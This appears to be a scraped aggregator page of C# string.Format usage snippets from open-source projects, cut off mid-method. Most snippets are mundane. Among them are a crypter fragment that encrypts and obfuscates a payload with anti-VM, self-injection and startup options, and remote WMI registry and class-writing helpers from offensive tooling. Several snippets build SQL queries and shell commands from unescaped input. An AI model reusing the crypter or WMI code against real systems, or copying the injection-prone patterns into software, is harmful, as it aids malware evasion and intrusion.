string.Format(string, object, object)

Here are the examples of the csharp api string.Format(string, object, object) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

10150 Examples 7

19 View Source File : Log.cs
License : MIT License
Project Creator : 0ffffffffh

public static string GetLogFileName(string type)
        {
            return string.Format("{0}-{1}.log", type, DateTime.Now.ToString("MM-dd-yyyy HH-mm-ss"));
        }

19 View Source File : MemcachedProcess.cs
License : MIT License
Project Creator : 0ffffffffh

public static MemcachedProcess FireUp(ulong memSize, ushort port)
        {
            MemcachedProcess mcproc = null;

            string arg;
            ProcessStartInfo psi = null;

            arg = string.Format("-p {0} -m {1}", port,memSize);
            psi = new ProcessStartInfo(Config.Get().MemcachedPath,arg);
            psi.CreateNoWindow = true;
            psi.UseShellExecute = false;

            
            mcproc = new MemcachedProcess();

            try
            {
                mcproc.process = new Process();
                mcproc.process.EnableRaisingEvents = true;
                mcproc.process.Exited += Process_Exited;
                mcproc.process.StartInfo = psi;

                if (!mcproc.process.Start())
                {
                    mcproc.process = null;
                    mcproc = null;

                    Log.Error("Process could not be started");

                    return null;

                }

            }
            catch (Exception e)
            {
                mcproc = null;
                Log.Error("memcached process start error: %s", e.Message);
                return null;
            }

            if (!_Processes.ContainsKey(mcproc.process.Id))
                _Processes.Add(mcproc.process.Id, mcproc);

            return mcproc;
        }

19 View Source File : SozlukDataStore.cs
License : MIT License
Project Creator : 0ffffffffh

private static string BuildFetchAllSQLQuery(ref string baseQueryHash, int rowBegin, int rowEnd, char indexChar)
        {
            string query;

            if (!CacheManager.TryGetCachedResult<string>(baseQueryHash, out query))
            {
                query = SEARCH_SQL_ALL_BASE;

                if ((indexChar >= 'a' && indexChar <= 'z'))
                {
                    query = query.Replace("%%CONDITION%%",
                        string.Format(" WHERE (LEFT(Baslik,1) = '{0}')", indexChar));
                }
                else if (indexChar == '*')
                {
                    query = query.Replace("%%CONDITION%%",
                        string.Format(" WHERE (LEFT(Baslik,1) >= '0' AND LEFT(Baslik,1) <= '9')"));
                }
                else if (indexChar == '.')
                {
                    query = query.Replace("%%CONDITION%%", "");
                }

                
                baseQueryHash = Helper.Md5(query);

                CacheManager.CacheObject(baseQueryHash, query);
            }

            query = query.Replace("%%ROW_LIMIT_CONDITION%%", 
                string.Format("(RowNum BETWEEN {0} AND {1})", rowBegin, rowEnd));

            return query;
        }

19 View Source File : SozlukDataStore.cs
License : MIT License
Project Creator : 0ffffffffh

private static string BuildEntryFetchSQL(string baslik, int baslikId, int pageNumber)
        {
            int rowBegin, rowEnd;
            string query, searchCondition;
            rowBegin = (pageNumber * RecordsPerPage) + 1;
            rowEnd = rowBegin + RecordsPerPage - 1;

            if (baslikId > 0)
                searchCondition = "Basliks.Id = " + baslikId.ToString();
            else
                searchCondition = string.Format("Basliks.Baslik = '{0}'", baslik);

            query = GET_ENTRIES_OF_BASLIK_SQL_BASE.Replace("%%BASLIK_SEARCH_CONDITION%%", searchCondition);


            query = query.Replace("%%ROW_LIMIT_CONDITION%%",
                string.Format("RowNum BETWEEN {0} AND {1}", rowBegin, rowEnd));

            return query;
        }

19 View Source File : Entry.cs
License : MIT License
Project Creator : 0ffffffffh

private string MakeTag(string tagName, object value, string attribName = null, object attribValue = null)
        {
            if (!string.IsNullOrEmpty(attribName))
                return string.Format("<{0} {1}=\"{2}\">{3}</{0}>", tagName, attribName, attribValue.ToString(), value);

            return string.Format("<{0}>{1}</{0}>", tagName, value);
        }

19 View Source File : InternalTalk.cs
License : MIT License
Project Creator : 0ffffffffh

public void SendTalkData(string key, string value)
        {
            SendPacket(string.Format("{0}={1};", key, value));
        }

19 View Source File : SozlukDataStore.cs
License : MIT License
Project Creator : 0ffffffffh

private static string BuildFetchSQLQuery(
            ref string baseQueryHash,
            string content, 
            string suser, 
            DateTime begin, DateTime end,
            int rowBegin,int rowEnd)
        {
            bool linkAnd = false;
            string query;

            StringBuilder sb = new StringBuilder();
            StringBuilder cond = new StringBuilder();

            if (!CacheManager.TryGetCachedResult<string>(baseQueryHash, out query))
            {

                if (!string.IsNullOrEmpty(suser))
                    sb.AppendFormat(SEARCH_SUSER_ID_GET_SQL, suser.Trim());

                if (!string.IsNullOrEmpty(content))
                {
                    cond.AppendFormat(SEARCH_COND_CONTENT, content.Trim());
                    linkAnd = true;
                }

                if (!string.IsNullOrEmpty(suser))
                {
                    if (linkAnd)
                        cond.Append(" AND ");
                    else
                        linkAnd = true;

                    cond.Append(SEARCH_COND_SUSER);
                }

                if (begin != DateTime.MinValue && end != DateTime.MinValue)
                {
                    if (linkAnd)
                        cond.Append(" AND ");

                    cond.AppendFormat(SEARCH_COND_DATE, begin.ToString(), end.ToString());

                }

                sb.Append(SEARCH_SQL_BASE);

                if (cond.Length > 0)
                {
                    cond.Insert(0, "WHERE ");
                    sb.Replace("%%CONDITIONS%%", cond.ToString());
                }
                else
                {
                    sb.Replace("%%CONDITIONS%%", string.Empty);
                }

                if (!string.IsNullOrEmpty(content))
                    sb.Replace("%%COUNT_CONDITION%%", string.Format(SEARCH_COND_COUNT_CONTENT, content));
                else
                    sb.Replace("%%COUNT_CONDITION%%", SEARCH_COND_COUNT_ALL);


                if (!string.IsNullOrEmpty(suser))
                    sb.Append(" AND EntryCount > 0");

                sb.Append(";");

                baseQueryHash = Helper.Md5(sb.ToString());

                CacheManager.CacheObject(baseQueryHash, sb.ToString());
            }
            else
            {
                sb.Append(query);
            }

            sb.Replace("%%ROW_LIMIT_CONDITION%%",
                string.Format("RowNum BETWEEN {0} AND {1}", rowBegin, rowEnd));
            
            query = sb.ToString();

            cond.Clear();
            sb.Clear();

            cond = null;
            sb = null;

            return query;
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void RemoveRegValue(string host, string username, string preplacedword, string keypath, string keyname)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("DeleteValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = keypath;
                inParams["sValueName"] = keyname;
                ManagementBaseObject outParams1 = registry.InvokeMethod("DeleteValue", inParams, null);
                Console.WriteLine("[+] Deleted value at {0} {1}", keypath, keyname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

19 View Source File : FileWrite.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void WriteToRegKey(string host, string username, string preplacedword, string keypath, string valuename)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connect to to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = reginfo[1];
                inParams["sValueName"] = valuename;
                inParams["sValue"] = datavals;
                ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
                if(Convert.ToInt32(outParams["ReturnValue"]) == 0)
                {
                    Console.WriteLine("[+] Created {0} {1} and put content inside", keypath, valuename);
                }
                else
                {
                    Console.WriteLine("[-] An error occured, please check values");
                    return;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error      :  {0}", ex.Message));
                return;
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void RemoveWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            if (!String.IsNullOrEmpty(wnamespace))
            {
                wnamespace = "root\\CIMv2";
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var rmclreplaced = new ManagementClreplaced(scope, new ManagementPath(clreplacedname), new ObjectGetOptions());
                rmclreplaced.Delete();
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

19 View Source File : FileWrite.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void WriteToWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var nclreplaced = new ManagementClreplaced(scope, new ManagementPath(string.Empty), new ObjectGetOptions());
                nclreplaced["__CLreplaced"] = clreplacedname;
                nclreplaced.Qualifiers.Add("Static", true);
                nclreplaced.Properties.Add("WinVal", CimType.String, false);
                nclreplaced.Properties["WinVal"].Qualifiers.Add("read", true);
                nclreplaced["WinVal"] = datavals;
                //nclreplaced.Properties.Add("Sizeof", CimType.String, false);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("read", true);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("Description", "Value needed for Windows");
                nclreplaced.Put();

                Console.WriteLine("[+] Create WMI Clreplaced     :   {0} {1}", wnamespace, clreplacedname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error     :  {0}", ex.Message));
                return;
            }
        }

19 View Source File : HumanReadableFileSize.cs
License : Apache License 2.0
Project Creator : 0xFireball

public static string FromLength(double len)
        {
            string[] sizes = { "B", "KiB", "MiB", "GiB", "TiB" };
            var order = 0;
            while (len >= 1024 && order < sizes.Length)
            {
                order++;
                len = len / 1024;
            }

            // Adjust the format string to your preferences. For example "{0:0.#}{1}" would
            // show a single decimal place, and no space.
            return string.Format("{0:0.##} {1}", len, sizes[order]);
        }

19 View Source File : MonitorItemForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void stb_home_url_Enter(object sender, EventArgs e)
        {
            string sdir = stb_project_source_dir.Text;
            string appname = stb_app_name.Text;
            string url = stb_home_url.Text;
            if(!string.IsNullOrWhiteSpace(sdir) && !string.IsNullOrWhiteSpace(appname) && url.EndsWith("[port]")){
                try
                {
                    if (get_spboot_port_run)
                    {
                        return;
                    }
                    get_spboot_port_run = true;
                    if (!sdir.EndsWith("/"))
                    {
                        sdir += "/";
                    }
                    string serverxml = string.Format("{0}{1}/src/main/resources/config/application-dev.yml", sdir, appname);
                    string targetxml = MainForm.TEMP_DIR + string.Format("application-dev-{0}.yml", DateTime.Now.ToString("MMddHHmmss"));
                    targetxml = targetxml.Replace("\\", "/");
                    parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        string port = "", ctx = "";
                        string yml = YSTools.YSFile.readFileToString(targetxml);
                        if(!string.IsNullOrWhiteSpace(yml)){
                            string[] lines = yml.Split('\n');
                            bool find = false;                            
                            int index = 0, start = 0;
                            foreach(string line in lines){
                                if (line.Trim().StartsWith("server:"))
                                {
                                    find = true;
                                    start = index;
                                }
                                else if(find && line.Trim().StartsWith("port:")){
                                    port = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                else if (find && line.Trim().StartsWith("context-path:"))
                                {
                                    ctx = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                if (index - start > 4 && start > 0)
                                {
                                    break;
                                }
                                index++;
                            }
                        }

                        if (port != "")
                        {
                            stb_home_url.BeginInvoke((MethodInvoker)delegate()
                            {
                                stb_home_url.Text = string.Format("http://{0}:{1}{2}", config.Host, port, ctx);
                            });
                        }
                        
                        get_spboot_port_run = false;

                        File.Delete(targetxml);
                    });
                }
                catch(Exception ex) {
                    logger.Error("Error", ex);
                }

            }
        }

19 View Source File : Roomer.cs
License : MIT License
Project Creator : 1upD

public override void Step(AlifeMap map)
        {
            try
            {
                // Mark to discard
                this._completed = true;

                // Local variables
                int spacesOccupied = 0;
                int total = 0;
                List<Tuple<int, int, int>> locationsToMark = new List<Tuple<int, int, int>>();

                for (int z = this.Z; z < this.Z + this.Height; z++)
                {
                    for (int x = this.X + this._x2; x < this.X + this._x1; x++)
                    {
                        for (int y = this.Y + this._y2; y < this.Y + this._y1; y++)
                        {
                            locationsToMark.Add(new Tuple<int, int, int>(x, y, z));
                            bool isSpaceOccupied = map.GetLocation(x, y, z) != null && map.GetLocation(x, y, z) != "";
                            spacesOccupied += isSpaceOccupied ? 1 : 0;
                            total++;
                        }
                    }
                }

                if (spacesOccupied < total / 2 && MustDeploy)
                {
                    log.Debug(string.Format("Roomer deployed: {0} spaces occupied, {1} total.", spacesOccupied, total));
                    log.Debug(string.Format("Roomer deployed at x: {0} y: {1} z: {2}", this.X, this.Y, this.Z));
                    foreach (var tuple in locationsToMark)
                    {
                        map.MarkLocation(this.Style, tuple.Item1, tuple.Item2, tuple.Item3);
                    }
                } else
                {
                    log.Debug(string.Format("Roomer did not deploy. {0} spaces occupied, {1} total.", spacesOccupied, total));
                }

            }
            catch (Exception e)
            {
                log.Error("Error in Roomer Step function: ", e);
            }

        }

19 View Source File : Compiler.cs
License : MIT License
Project Creator : 1y0n

public void compileToExe(String code, String decKey, String filePath, String Arch, string type="exe")
        {

            parameters.Outputreplacedembly = filePath;
            parameters.CompilerOptions = "/target:" + type + Arch;
            if (type != "exe") 
            {
                parameters.GenerateExecutable = false;
            }

            CompilerResults results = provider.CompilereplacedemblyFromSource(parameters, code);

            if (results.Errors.HasErrors)
            {
                StringBuilder sb = new StringBuilder();

                foreach (CompilerError error in results.Errors)
                {
                    sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
                }

                throw new InvalidOperationException(sb.ToString());
            }
        }

19 View Source File : DisplayGUI.cs
License : MIT License
Project Creator : 1ZouLTReX1

private void FPSCompactStats()
    {
        GUIStyle style = new GUIStyle();

        Rect rect = new Rect(offset, offset, w, h);
        style.alignment = TextAnchor.UpperLeft;

        style.font = font;
        style.fontSize = fontSize;
        style.normal.textColor = Color.white;

        float fps = Mathf.RoundToInt(1.0f / deltaTime);
        float msec = deltaTime * 1000.0f;
        string text = string.Format("FPS: {0,3:0} / {1:0.0} ms", fps, msec);
        GUI.Label(rect, text, style);
    }

19 View Source File : MonitorItemForm.cs
License : Apache License 2.0
Project Creator : 214175590

void SrvPath_TextChanged(object sender, EventArgs e)
        {
            string path = stb_ice_srvpath.Text;
            if (!string.IsNullOrWhiteSpace(path))
            {
                string appname = stb_ice_appname.Text;

                if (!string.IsNullOrWhiteSpace(appname) && string.IsNullOrWhiteSpace(stb_ice_ports.Text))
                {
                    try
                    {
                        if (get_ice_port_run)
                        {
                            return;
                        }
                        get_ice_port_run = true;
                        if (!path.EndsWith("/"))
                        {
                            path += "/";
                        }
                        string serverxml = string.Format("{0}config/{1}.xml", path, appname);
                        string targetxml = MainForm.TEMP_DIR + string.Format("srv-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                        targetxml = targetxml.Replace("\\", "/");
                        parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                        ThreadPool.QueueUserWorkItem((a) =>
                        {
                            Thread.Sleep(500);

                            List<Hashtable> list = YSTools.YSXml.readXml(targetxml, "icegrid");
                            if (list != null && list.Count > 0)
                            {
                                List<Hashtable> appList = null, nodeList = null;
                                List<Hashtable> serverList = null;
                                string ports = "", nodeName = "", serverName = "";
                                foreach (Hashtable one in list)
                                {
                                    if (one["NodeName"].ToString() == "application")
                                    {
                                        appList = (List<Hashtable>)one["ChildList"];
                                        foreach (Hashtable two in appList)
                                        {
                                            if (two["NodeName"].ToString() == "node")
                                            {
                                                nodeName = two["name"].ToString();
                                                nodeList = (List<Hashtable>)two["ChildList"];
                                                foreach (Hashtable four in nodeList)
                                                {
                                                    if (four["NodeName"].ToString() == "server-instance")
                                                    {
                                                        ports += "," + four["serverport"].ToString();
                                                    }
                                                }

                                            }

                                            if (two["NodeName"].ToString() == "server-template")
                                            {
                                                serverList = (List<Hashtable>)two["ChildList"];
                                                foreach (Hashtable four in serverList)
                                                {
                                                    if (four["NodeName"].ToString() == "icebox")
                                                    {
                                                        serverName = four["id"].ToString();
                                                        serverName = serverName.Substring(0, serverName.IndexOf("$")) + "1";
                                                        break;
                                                    }
                                                }
                                            }

                                            if (ports != "")
                                            {
                                                break;
                                            }
                                        }
                                    }
                                }
                                                                
                                stb_ice_ports.BeginInvoke((MethodInvoker)delegate()
                                {
                                    stb_ice_servername.Text = serverName;
                                    stb_ice_ports.Text = ports == "" ? "8082" : ports.Substring(1);
                                });
                            }
                            get_ice_port_run = false;

                            File.Delete(targetxml);
                        });
                    }
                    catch { }
                }
            }
        }

19 View Source File : MonitorItemForm.cs
License : Apache License 2.0
Project Creator : 214175590

void Tomcat_TextChanged(object sender, EventArgs e)
        {
            string path = stb_tomcat_path.Text;
            if (!string.IsNullOrWhiteSpace(path))
            {
                if (string.IsNullOrWhiteSpace(tomcat_name))
                {
                    try
                    {
                        stb_tomcat_name.Text = path.Substring(path.LastIndexOf("/") + 1);
                    }
                    catch { }
                }

                if (string.IsNullOrWhiteSpace(stb_tomcat_port.Text))
                {
                    try
                    {
                        if (get_tomcat_port_run)
                        {
                            return;
                        }
                        get_tomcat_port_run = true;
                        if (!path.EndsWith("/"))
                        {
                            path += "/";
                        }
                        string serverxml = path + "conf/server.xml";
                        string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                        targetxml = targetxml.Replace("\\", "/");
                        parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                        ThreadPool.QueueUserWorkItem((a) => {
                            Thread.Sleep(500);

                            List<Hashtable> list = YSTools.YSXml.readXml(targetxml, "Server");
                            if(list != null && list.Count > 0){
                                List<Hashtable> serviceList = null;
                                string port = null;
                                foreach(Hashtable one in list){
                                    if (one["NodeName"].ToString() == "Service")
                                    {
                                        serviceList = (List<Hashtable>) one["ChildList"];
                                        foreach (Hashtable two in serviceList)
                                        {
                                            if (two["NodeName"].ToString() == "Connector")
                                            {
                                                port = two["port"].ToString();

                                                break;
                                            }
                                        }
                                        if(port != null){
                                            break;
                                        }
                                    }
                                }

                                stb_tomcat_port.BeginInvoke((MethodInvoker)delegate()
                                {
                                   stb_tomcat_port.Text = port == null ? "8080" : port;
                                });
                            }
                            get_tomcat_port_run = false;

                            File.Delete(targetxml);
                        });
                    }
                    catch { }
                }
            }
        }

19 View Source File : Form1.cs
License : Mozilla Public License 2.0
Project Creator : 1M50RRY

private void button3_Click(object sender, EventArgs e)
        {
            //Crypt
            string result = Properties.Resources.stub;
            result = result.Replace("%startup%", startup.Checked.ToString().ToLower());
            result = result.Replace("%native%", native.Checked.ToString().ToLower());
            result = result.Replace("%selfinj%", si.Checked.ToString().ToLower());
            result = result.Replace("%antivm%", antivm.Checked.ToString().ToLower());
            result = result.Replace("%key%", key.Text);
            result = result.Replace("%asm%", GenerateKey());
            var providerOptions = new Dictionary<string, string>
            {
                {"CompilerVersion", "v4.0"}
            };
            CompilerResults results;
            using (var provider = new CSharpCodeProvider(providerOptions))
            {
                var Params = new CompilerParameters(new[] { "mscorlib.dll", "System.Core.dll" }, Environment.GetEnvironmentVariable("temp") + "\\Crypted.exe", true);
                if (ico !=  null)
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86 /win32icon:\"" + ico + "\"";
                else
                    Params.CompilerOptions = "/t:winexe /unsafe /platform:x86";

                Params.Referencedreplacedemblies.Add("System.Windows.Forms.dll");
                Params.Referencedreplacedemblies.Add("System.dll");
                Params.Referencedreplacedemblies.Add("System.Drawing.Dll");
                Params.Referencedreplacedemblies.Add("System.Security.Dll");
                Params.Referencedreplacedemblies.Add("System.Management.dll");

                string fname = "";
                if (punp.Checked)
                {
                    fname = Pump();
                    Params.EmbeddedResources.Add(fname); 
                }
                
                string tmp = "payload";
                File.WriteAllBytes(tmp, EncryptAES(encFile, key.Text));
                Params.EmbeddedResources.Add(tmp);
                results = provider.CompilereplacedemblyFromSource(Params, result);
                try
                {
                    File.Delete(tmp);
                    File.Delete(fname);
                }
                catch(Exception)
                {

                } 
            }
            if (results.Errors.Count == 0)
            {
                String temp = Environment.GetEnvironmentVariable("temp");
                if (obf.Checked)
                {
                   
                    File.WriteAllBytes(temp + "\\cli.exe", Properties.Resources.cli);
                    File.WriteAllBytes(temp + "\\Confuser.Core.dll", Properties.Resources.Confuser_Core);
                    File.WriteAllBytes(temp + "\\Confuser.DynCipher.dll", Properties.Resources.Confuser_DynCipher);
                    File.WriteAllBytes(temp + "\\Confuser.Protections.dll", Properties.Resources.Confuser_Protections);
                    File.WriteAllBytes(temp + "\\Confuser.Renamer.dll", Properties.Resources.Confuser_Renamer);
                    File.WriteAllBytes(temp + "\\Confuser.Runtime.dll", Properties.Resources.Confuser_Runtime);
                    File.WriteAllBytes(temp + "\\dnlib.dll", Properties.Resources.dnlib);

                    String crproj = Properties.Resources.def.Replace("%out%", Environment.CurrentDirectory);
                    crproj = crproj.Replace("%base%", temp);
                    crproj = crproj.Replace("%file%", temp + "\\Crypted.exe");
                    File.WriteAllText(temp + "\\def.crproj", crproj);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    startInfo.Arguments = "/C " + temp + "\\cli.exe " + temp + "\\def.crproj";
                    startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                    startInfo.CreateNoWindow = true;
                    startInfo.FileName = "cmd.exe";
                    Thread pr = new Thread(() => Process.Start(startInfo));
                    pr.Start();
                    pr.Join();
                }
                else
                {
                    String file = Environment.CurrentDirectory + "\\Crypted.exe";
                    try
                    {
                        File.Delete(file);
                    }
                    catch(Exception)
                    {

                    }
                    File.Move(temp + "\\Crypted.exe", file);
                }
                    

                MessageBox.Show("Done! Check Crypted.exe in the same folder.", "Crypting", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
            }
            
            foreach (CompilerError compilerError in results.Errors)
            {
                MessageBox.Show(string.Format("Error: {0}, At line {1}", compilerError.ErrorText, compilerError.Line));
            }
            
            
                
        }

19 View Source File : Compiler.cs
License : MIT License
Project Creator : 1y0n

public void compileToExe(String code, String filePath, String Arch)
        {

            parameters.Outputreplacedembly = filePath;
            parameters.CompilerOptions = Arch;

            CompilerResults results = provider.CompilereplacedemblyFromSource(parameters, code);

            if (results.Errors.HasErrors)
            {
                StringBuilder sb = new StringBuilder();

                foreach (CompilerError error in results.Errors)
                {
                    sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
                }

                throw new InvalidOperationException(sb.ToString());
            }
        }

19 View Source File : SftpLinuxForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void renameToolStripMenuItem_Click(object sender, EventArgs e)
        {
            int count = listView2.SelectedItems.Count;
            if (count > 0)
            {
                ListViewItem row = listView2.SelectedItems[0];
                if (row != null)
                {
                    string oldName = row.Text;
                    ChannelSftp.LsEntry entry = (ChannelSftp.LsEntry)row.Tag;
                    string msg = "请输入文件夹的新名称";
                    if(!entry.getAttrs().isDir()){
                        msg = "请输入文件的新名称";
                    }
                    InputForm form = new InputForm(msg, oldName, new InputForm.FormResult((newName) =>
                    {
                        if (oldName != newName)
                        {
                            string dirs = getCurrDir();
                            string path1 = dirs + Utils.getLinuxName(oldName);
                            string path2 = dirs + Utils.getLinuxName(newName);
                            SendShell(string.Format("mv {0} {1}", path1, path2));

                            ThreadPool.QueueUserWorkItem((a) =>
                            {
                                Thread.Sleep(500);
                                RefreshFiles();
                            });
                        }
                    }));
                    form.ShowDialog(this);
                }
            }            
        }

19 View Source File : RedisArray.cs
License : MIT License
Project Creator : 2881099

public override object[] Parse(RedisReader reader)
        {
            if (_parsers.Count == 0)
                return reader.ReadMultiBulk(bulkreplacedtring: true);

            reader.ExpectType(RedisMessage.MultiBulk);
            long count = reader.ReadInt(false);
            if (count != _parsers.Count)
                throw new RedisProtocolException(String.Format("Expecting {0} array items; got {1}", _parsers.Count, count));

            object[] results = new object[_parsers.Count];
            for (int i = 0; i < results.Length; i++)
                results[i] = _parsers.Dequeue()(reader);
            return results;
        }

19 View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void 更改文件名ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (listView1.SelectedItems.Count > 0)
            {
                ListViewItem item = listView1.SelectedItems[0];
                YmlFile file = (YmlFile)item.Tag;

                string oldName = file.localName;
                string msg = "请输入文件的新名称";
                InputForm form = new InputForm(msg, oldName, new InputForm.FormResult((newName) =>
                {
                    if (oldName != newName)
                    {
                        file.localName = newName;
                        string dirs = file.remotePath;
                        string path1 = dirs + Utils.getLinuxName(oldName);
                        string path2 = dirs + Utils.getLinuxName(newName);
                        monitorForm.RunShell(string.Format("mv {0} {1}", path1, path2), false, true);

                        file.remoteName = file.localName;
                        item.Text = file.localName;
                    }
                }));
                form.ShowDialog(this);
            }

            
        }

19 View Source File : TomcatMonitorForm.cs
License : Apache License 2.0
Project Creator : 214175590

public List<JObject> loadTomcatServerProject()
        {
            List<JObject> itemList = new List<JObject>();
            try
            {
                string serverxml = l_tomcat_path.Text + "conf/server.xml";
                string targetxml = MainForm.TEMP_DIR + string.Format("server-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                targetxml = targetxml.Replace("\\", "/");
                monitorForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                    
                List<System.Collections.Hashtable> list = YSTools.YSXml.readXml(targetxml, "Server");
                if (list != null && list.Count > 0)
                {
                    List<System.Collections.Hashtable> serviceList = null;
                    List<System.Collections.Hashtable> engineList = null;
                    List<System.Collections.Hashtable> hostList = null;
                    string port = null, docBase = "", path = "";
                    JObject json = null;
                    foreach (System.Collections.Hashtable one in list)
                    {
                        if (one["NodeName"].ToString() == "Service")
                        {
                            serviceList = (List<System.Collections.Hashtable>)one["ChildList"];
                            foreach (System.Collections.Hashtable two in serviceList)
                            {
                                if (two["NodeName"].ToString() == "Engine")
                                {
                                    engineList = (List<System.Collections.Hashtable>)two["ChildList"];
                                    foreach (System.Collections.Hashtable three in engineList)
                                    {
                                        if (three["NodeName"].ToString() == "Host")
                                        {
                                            hostList = (List<System.Collections.Hashtable>)three["ChildList"];
                                            foreach (System.Collections.Hashtable four in hostList)
                                            {
                                                if (four["NodeName"].ToString() == "Context")
                                                {
                                                    json = new JObject();
                                                    docBase = four["docBase"].ToString();
                                                    path = four["path"].ToString();
                                                    if (!docBase.EndsWith(path))
                                                    {
                                                        if (docBase.StartsWith("/"))
                                                        {
